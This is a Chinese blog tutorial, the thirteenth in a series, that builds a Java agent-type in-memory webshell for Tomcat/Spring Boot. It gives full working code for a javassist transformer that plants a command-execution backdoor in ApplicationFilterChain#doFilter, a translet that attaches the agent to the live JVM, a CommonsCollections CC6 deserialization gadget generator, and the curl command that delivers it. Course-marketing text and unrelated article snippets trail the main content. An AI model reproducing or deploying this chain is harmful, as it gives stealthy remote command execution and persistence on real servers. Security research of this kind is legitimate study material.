构造agent类型的内存马(内存马系列篇十三)
写在前面
前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。
这是内存马系列篇的第十三篇了。
环境搭建
我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,
IDEA新建一个springboot项目
漏洞代码:
package com.roboterh.vuln.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;@Controller
public class CommonsCollectionsVuln {@ResponseBody@RequestMapping("/unser")public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {java.io.InputStream inputStream = request.getInputStream();ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();response.getWriter().println("successfully!!!");}@ResponseBody@RequestMapping("/demo")public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{response.getWriter().println("This is a Demo!!!");}
}
在/unser路由中,获取了请求体的序列化数据,进行反序列化调用;
在/demo路由中,返回了一个字符串;
我打算的是通过CC链进行写入。
添加依赖。
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
正式注入
编写agent.jar
有了前面的知识,我们知道在一个运行中的web服务中,对于premain方法的调用方式不太适用,更实用的是通过agentmain方法的调用。
在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。
但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。
只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter方法进行利用。
这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。
非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例,可以直接和请求进行交互。

好了,接下来看看实现,我们可以简化为以下关键的几步:
-
通过
addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。

-
之后通过调用
retransformClasses方法,来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。

首先是一个存在有agentmain方法的AgentDemo类。
import java.lang.instrument.Instrumentation;public class AgentDemo {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation inst) {inst.addTransformer(new TransformerDemo(), true);Class[] allLoadedClasses = inst.getAllLoadedClasses();for (Class aClass : allLoadedClasses) {if (aClass.getName().equals(ClassName)) {System.out.println("AgentDemo...");try {inst.retransformClasses(new Class[]{aClass});} catch (Exception e) {e.printStackTrace();}}}}
}
首先定义了一个我们想要修改的类名ClassName字符串,之后在agentmain方法中,添加进入一个我们实现的转换器,将第二个参数置为了true。

设置这个转换器是否可以再次进行转换,之后通过调用getAllLoadedClasses方法来获取所有在JVM中加载的类,之后就是匹配我们我们需要修改的类名,如果成功匹配,我们调用retransformClasses方法转入需要修改的类。
接下来就是ClassFileTransformer接口的实现类TransformerDemo类的逻辑。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class TransformerDemo implements ClassFileTransformer {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {className = className.replace("/",".");if (className.equals(ClassName)){System.out.println("Find the Inject Class: " + ClassName);ClassPool pool = ClassPool.getDefault();try {CtClass c = pool.getCtClass(className);CtMethod m = c.getDeclaredMethod("doFilter");m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +"javax.servlet.http.HttpServletResponse res = response;\n" +"java.lang.String cmd = request.getParameter(\"cmd\");\n" +"if (cmd != null){\n" +" try {\n" +" java.io.PrintWriter printWriter = response.getWriter();\n" +" ProcessBuilder processBuilder;\n" +" String o = \"\";\n" +" if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {\n" +" processBuilder = new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", cmd});\n" +" } else {\n" +" processBuilder = new ProcessBuilder(new String[]{\"/bin/bash\", \"-c\", cmd});\n" +" }\n" +" java.util.Scanner scanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter(\"\\A\");\n" +" o = scanner.hasNext() ? scanner.next() : o;\n" +" scanner.close();\n" +" printWriter.println(o);\n" +" printWriter.flush();\n" +" printWriter.close();\n" +" } catch (Exception e){\n" +" e.printStackTrace();\n" +" }\n" +"}");System.out.println("insertBefore....");byte[] bytes = c.toBytecode();c.detach();return bytes;} catch (Exception e){e.printStackTrace();}}return new byte[0];}
}
同样在该类中定义了一个需要修改的字符串ClassName,最后在transform方法中就是我们的主要逻辑
通过调试,在这里我们得到的className的传参是一个使用/符号作为包名的分隔符,所以我们在transform中首先将/替换成了.符号之后进行匹配,如果成功匹配之后,就是对字节码的修改操作了
对于字节码的修改操作,不仅可以使用javassist框架进行字节码的操作,也可以使用ASM等框架进行修改
这里我是使用的是javassist框架,获取到了目标类的doFilter方法,调用其中的API,即是insertBefore方法将我们的逻辑写在该方法的前面,以至于不会影响原生方法的逻辑。
其中写入的代码

也就是一个经典的将传入的cmd参数进行命令执行并将结果进行了返回,之后将我们修改后的doFilter方法的字节码返回。
最后,我们可以分别编译后得到一个agent.jar包
序列化数据的编写
前面已经创建了一个agent.jar这个包,我们需要将这个包attach进JVM中
前面提到我们通过CC链进行注入,所以我们需要编写一个继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的类。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;public class agentInject extends AbstractTranslet {static {try {// 恶意agent的位置String AgentPath = "xx\\Agent.jar";// 在JVM启动时,没有加载tools.jar,这里通过URLClassLoader进行加载URL toolsUrl = new URL("file:///xx/lib/tools.jar");URLClassLoader loader = URLClassLoader.newInstance(new URL[]{toolsUrl});// 加载tools.jar包中的 VirtualMachine / VirtualMachineDescriptor 类Class<?> VirtualMachine = loader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> VirtualMachineDescriptor = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");// 反射获取list方法Method listMethod = VirtualMachine.getDeclaredMethod("list", null);// 通过调用list方法获取JVM绑定的服务List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine, null);for (int i = 0; i < list.size(); i++) {// 遍历所有的服务,获取其名称组件Object o = list.get(i);Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);String name = (String) displayName.invoke(o,null);System.out.println(name);// 判断需要注入的组件名称if (name.contains("com.roboterh.vuln.Application")){// 获取对应的pid进程号Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);String id = (String) getId.invoke(o,null);System.out.println("id => " + id);Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});Object vm = attach.invoke(o,new Object[]{id});// 调用loadAgent动态加载agentMethod loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});loadAgent.invoke(vm,new Object[]{ AgentPath });// 断开Method detach = VirtualMachine.getDeclaredMethod("detach",null);detach.invoke(vm,null);System.out.println("Inject Success!");break;}}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
简单提一下代码中的关键点
将逻辑放在
static代码块中,使得一加载就会触发其中的逻辑;因为在在JVM启动的时候,并不会加载
com.sun.tools.attach.VirtualMachine等类存在的tools.jar包,所以我们需要通过URLClassLoader的方法来获取VirtualMachine / VirtualMachineDescriptor等类;在我们筛选我们想要注入的组件,获取他的PID之后,通过反射调用
loadAgent的方法进行恶意agent.jar的加载,最后通过detach进行取消代理。
这里我选用的是使用CC6_plus的链子进行序列化数据的生成。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6_plus {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{byte[] bytes = FileUtil.readAsByteArray(new File("xx\\agentInject.class"));TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "1");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());InstantiateFactory instantiateFactory;instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);ConstantTransformer constantTransformer = new ConstantTransformer(1);Map innerMap = new HashMap();LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");setFieldValue(outerMap,"factory",factoryTransformer);outerMap.remove("keykey");serialize(expMap);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));out.writeObject(obj);}
}
注入演示
我们运行漏洞环境,之后将我们生成的1.ser文件中的序列化数据发送。
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
能够在控制台中发现一些输出。

如果你存在有insertBefore....这几个字符串,那么恭喜你,你成功了。

能够成功执行命令。
其中执行命令的调用栈是。
start:1007, ProcessBuilder (java.lang)
doFilter:140, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
总结
这个内存马算是我搞得比较久的一个内存马了,主要是中间出现了好多好多的问题,还好,时间没有白费,还是一步一个脚印的将所有错误debug解决了,不得不说debug是个好东西。
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关文章:
构造agent类型的内存马(内存马系列篇十三)
写在前面 前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。 这是内存马系列篇的第十三篇了。 环境搭建 我这里就使用Springboot来搭建一个简单的漏洞…...
JavaEE简单示例——<select>中的查询参数传递和结果集封装自动映射关系
简单介绍: 在之前我们在讲SQL映射文件中的映射查询语句的<select>标签的时候,对其中的四个常用属性的讲解并不是那么的透彻,今天就来详细的解释<select>的四个常用属性的具体含义以及<select>标签在进行查询的时候查询参数…...
信息安全圈都在谈论CISP,CISSP,这两者有什么区别呢?
CISP 和 CISSP 都是信息安全认证资格考试,但是它们之间有一些区别。 CISP(Certified Information Security Professional)认证考试是由国际信息系统安全认证联盟(ISC)所开发和管理的,主要考核信息安全专业人员在保障企…...
浅谈Redisson实现分布式锁的原理
1.Redisson简介 Redis 是最流行的 NoSQL 数据库解决方案之一,而 Java 是世界上最流行(注意,我没有说“最好”)的编程语言之一。虽然两者看起来很自然地在一起“工作”,但是要知道,Redis 其实并没有对 Java…...
UVM实战(张强)-- UVM中的寄存器模型
目录一.整体的设计结构图二.各个组件代码详解2.1 DUT2.2 bus_driver2.3 bus_sequencer2.4 bus_monitor2.5 bus_agent2.6 bus_transaction2.7 bus_if2.8 my_if2.9 my_transaction2.10 my_sequencer2.11 my_driver2.12 my_monitor2.13 my_agent2.14 my_scoreboard2.15 my_env2.16…...
什么是 CSAT?这份客户满意度流程指南请查收
什么是 CSAT?如何计算我的客户满意度分数?大中型公司应该熟悉这些术语。以下文章旨在教您有关客户满意度流程的所有内容 - 基本的CSAT概念、创建CSAT调查的好处、如何创建CSAT调查。配图来源: SaleSmartly(ss客服) 一、什么是 CSAT࿱…...
AD域备份和恢复工具
Microsoft的本地Active Directory备份和恢复功能不适用于对象级备份和属性级还原。使用RecoveryManager Plus,您不仅可以备份和还原所有AD对象,还可以备份和还原其他基本AD元素,例如架构属性,组成员身份信息和Exchange属性。此外&…...
老学长的浙大MPA现场复试经验分享
作为一名在浙大MPA项目已经毕业的考生来说,很荣幸受到杭州达立易考周老师的邀请,给大家分享下我的复试经验,因为听周老师说是这几年浙大MPA因疫情情况,已经连续几年都是线上个人复试了,而今年疫情社会面较为平稳的情况…...
制作证书链并进行验证
生成自签名的根证书: openssl req -x509 -newkey rsa -outform PEM -out tls-rootca.pem -keyform PEM -keyout tls-rootca.key.pem -days 35600 -nodes -subj “/C=cn/O=mycomp/OU=mygroup/CN=rootca” 生成中间证书 1.生成csr和key文件 openssl req -newkey rsa:2048 -outf…...
基于python多光谱遥感数据处理、图像分类、定量评估及机器学习方法应用
基于卫星或无人机平台的多光谱数据在地质、土壤调查和农业等应用领域发挥了重要作用,在地质应用方面,综合Aster的短波红外波段、landsat热红外波段等多光谱数据,可以通过不同的多光谱数据组合,协同用于矿物信息有效提取。此外&…...
初识 git--本地仓库
目录:一,基础步骤:1,安装2,配置3,检查配置4,创建仓库 - repository5,查看工作区的文件状态6,如果显示乱码的解决方式git status 显示乱码终端乱码7,添加工作区…...
Redis学习之持久化(六)
这里写目录标题一、持久化简介1.1 持久化1.2 Redis持久化的两种形式二、RDB2.1 RDB概念2.2 save指令手动执行一次保存配置相关参数2.3 bgsave指令2.4 save配置自动执行2.5 RDB三种启动方式对比三、AOF3.1 AOF概念3.2 AOF执行策略3.3 AOF重写四、RDB和AOF区别2.1 RDB与AOF对比&a…...
C++11 之 auto decltype
文章目录autodecltypesauto 和 decltype 的配合—返回值类型后置关于 c11 新特性,最先提到的肯定是类型推导,c11 引入了 auto 和 decltype 关键字,使用他们可以在编译期就推导出变量或者表达式的类型,方便开发者编码也简化了代码。…...
论文笔记:How transferable are features in deep neural networks? 2014年NIP文章
文章目录一、背景介绍二、方法介绍三、实验论证四、结论五、感想参考文献一、背景介绍 1.问题介绍: 许多在自然图像上训练的深度神经网络都表现出一个奇怪的共同现象:在第一层,它们学习类似于Gabor过滤器和color blobs的特征。这样的第一层特…...
python基于flask共享单车系统vue
可定制框架:ssm/Springboot/vue/python/PHP/小程序/安卓均可开发 目录 1 绪论 1 1.1课题背景 1 1.2课题研究现状 1 1.3初步设计方法与实施方案 2 1.4本文研究内容 2 2 系统开发环境 4 2. 3 系统分析 6 3.1系统可行性分析 6 3.1.1经济可行性 6 3.1.2技术可行性 6 3.1.3运行可行…...
C++11 之模板改进
模板的右尖括号 在 c98/03 的泛型编程中,模板实例化有一个很烦琐的地方,那就是连续两个右尖括号(>>)会被编译器解释成右移操作符,而不是模板参数表的结束,所以需要中间加个空格进行分割,…...
Linux - POSIX信号量,基于环形队列的生产者消费者模型
信号量在Linux下,POSIX信号量是一种线程同步机制,用于控制多个线程之间的访问顺序。POSIX信号量可以用于实现线程之间的互斥或者同步。在之前的阻塞队列生产者消费者模型中,阻塞队列是一个共享资源,不管是生产者还是消费者&#x…...
学习Flask之七、大型应用架构
学习Flask之七、大型应用架构 尽管存放在单一脚本的小型网络应用很方便,但是这种应用不能很好的放大。随着应用变得复杂,维护一个大的源文件会出现问题。不像别的网络应用,Flask没有强制的大型项目组织结构。构建应用的方法完全留给开发者。…...
CentOS9下编译FFMPEG源码
克隆...
炼石:八年饮冰难凉热血,初心如磐百炼成钢
炼石成立八周年 八载笃行,踔厉奋发。创立于2015年的炼石,今天迎来了八岁生日,全体员工共同举行了温暖又充满仪式感的周年庆典。过去的2022,是三年疫情的艰难“收官之年”,新的2023,将是数据安全行业成为独…...
Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...
Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
连锁超市冷库节能解决方案:如何实现超市降本增效
在连锁超市冷库运营中,高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术,实现年省电费15%-60%,且不改动原有装备、安装快捷、…...
蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
基于数字孪生的水厂可视化平台建设:架构与实践
分享大纲: 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年,数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段,基于数字孪生的水厂可视化平台的…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
分布式增量爬虫实现方案
之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面,避免重复抓取,以节省资源和时间。 在分布式环境下,增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路:将增量判…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
